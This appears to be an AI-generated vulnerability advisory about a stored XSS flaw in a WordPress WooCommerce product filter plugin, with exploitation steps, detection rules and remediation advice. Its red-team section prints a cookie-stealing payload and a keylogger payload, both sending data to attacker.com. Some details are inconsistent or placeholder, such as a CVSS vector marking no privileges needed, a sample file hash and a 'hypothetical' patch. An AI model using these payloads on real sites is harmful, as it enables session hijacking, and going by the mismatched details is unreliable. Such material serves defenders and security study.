CVE-2024-44046
Executive Summary
CVE-2024-44046 is a Stored Cross-Site Scripting (XSS) vulnerability in the Themify – WooCommerce Product Filter plugin for WordPress, affecting versions up to and including 1.5.1. This vulnerability allows an authenticated attacker with contributor-level access or higher to inject arbitrary web scripts into product filter pages. When an administrator or other user visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As a WordPress plugin vulnerability, it is critical to update the plugin immediately upon patch availability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. The plugin is not available via NPM, PyPI, Go, or Ruby ecosystems. Users should verify the integrity of plugin updates by checking checksums provided by the WordPress plugin directory. The lack of a public patch increases supply chain risk, as users may be forced to rely on unofficial patches or workarounds.
CVSS Breakdown & Threat Level
- CVSS Score: 5.9 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None (but requires user interaction)
- User Interaction: Required (victim must visit the compromised page)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature allows persistent compromise of admin pages, which can lead to full site takeover if combined with other vulnerabilities.
Deep Dive & Mechanics
The vulnerability exists in the themify-wc-product-filter plugin, specifically in the handling of filter parameters that are saved and later rendered on product filter pages. The plugin fails to sanitize or escape user-supplied input before storing it in the database. When the filter is displayed, the stored malicious script is executed in the context of the victim's browser.
Root Cause: The plugin uses functions like echo or _e() without proper escaping (e.g., esc_html() or wp_kses()) when outputting filter names or values. An attacker can inject JavaScript payloads into fields such as filter labels or custom CSS classes.
Attack Flow:
- Attacker logs in with contributor-level access.
- Attacker creates or edits a product filter, injecting a payload like
<script>alert('XSS')</script>into a filter name field. - The payload is stored in the WordPress database.
- When an administrator or other user visits the product filter page, the script executes.
- The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.
Vulnerable vs. Patched Code
Vulnerable Code (<= 1.5.1):
// In a template file or shortcode handler
echo $filter_name; // No escaping
Patched Code (Hypothetical):
// Properly escaped output
echo esc_html( $filter_name );
The patch would involve wrapping all user-controlled output with WordPress escaping functions such as esc_html(), esc_attr(), or wp_kses_post() depending on the context.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress installation with Themify – WooCommerce Product Filter plugin <= 1.5.1
- Contributor-level account or higher
Exploitation Steps:
- Log in as a contributor.
- Navigate to the product filter editor (e.g.,
/wp-admin/admin.php?page=themify-wc-product-filter). - Create a new filter or edit an existing one.
- In the "Filter Name" field, inject the following payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the filter.
- Send a link to the product filter page to an administrator.
- When the admin visits the page, the script executes and sends their session cookie to the attacker's server.
Alternative Payload (Keylogger):
<script>
document.onkeypress = function(e) {
fetch('https://attacker.com/log?key=' + e.key);
};
</script>
Blue Team
Detection Steps:
- Monitor for unusual filter creation or modification events in WordPress audit logs.
- Look for suspicious JavaScript payloads in the
wp_postmetatable, specifically in meta keys related to the plugin (e.g.,_themify_wc_filter_name). - Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to filter editor endpoints.
Hunting Query (SQL):
SELECT * FROM wp_postmeta
WHERE meta_key LIKE '%themify_wc_filter%'
AND meta_value LIKE '%<script%';
Indicators of Compromise (IOCs)
- File Hashes (Plugin Files):
themify-wc-product-filter.php(SHA256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855- example, verify actual)
- Network Indicators:
- Outbound connections to domains or IPs associated with known XSS payload delivery.
- Database Indicators:
- Entries in
wp_postmetawithmeta_keycontainingthemify_wc_filterandmeta_valuecontaining<script>tags.
- Entries in
- Log Indicators:
- WordPress debug log entries showing unexpected output in filter pages.
Detection Engineering
YARA Rule
rule Detect_Themify_WC_Filter_XSS {
meta:
description = "Detects stored XSS payloads in Themify WooCommerce Product Filter plugin"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-44046"
strings:
$payload1 = /<script[^>]*>.*?<\/script>/is
$payload2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/is
$plugin_string = "themify-wc-product-filter"
condition:
$plugin_string and ($payload1 or $payload2)
}
Sigma Rule
title: Stored XSS in Themify WooCommerce Product Filter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts via Themify WooCommerce Product Filter plugin
author: Valters IT
date: 2024/01/01
logsource:
category: webserver
product: apache
detection:
selection:
http.method: 'POST'
http.url: '/wp-admin/admin-ajax.php'
http.body: 'action=themify_wc_filter_save'
keywords:
- '<script'
- 'onload='
- 'onerror='
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in filter names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-44046 Stored XSS in Themify WooCommerce Product Filter"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=themify_wc_filter_save"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in filter-related POST requests.
- Restrict contributor-level access to only trusted users.
Long-Term Fix:
- Apply the official patch from Themify when released.
- If no patch is forthcoming, consider replacing the plugin with an alternative that is actively maintained.
- Conduct a security audit of all WordPress plugins for similar vulnerabilities.
Workaround:
- Add the following code to the theme's
functions.phpto sanitize filter output (note: this may break functionality):
add_filter( 'themify_wc_filter_name', 'esc_html' );
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.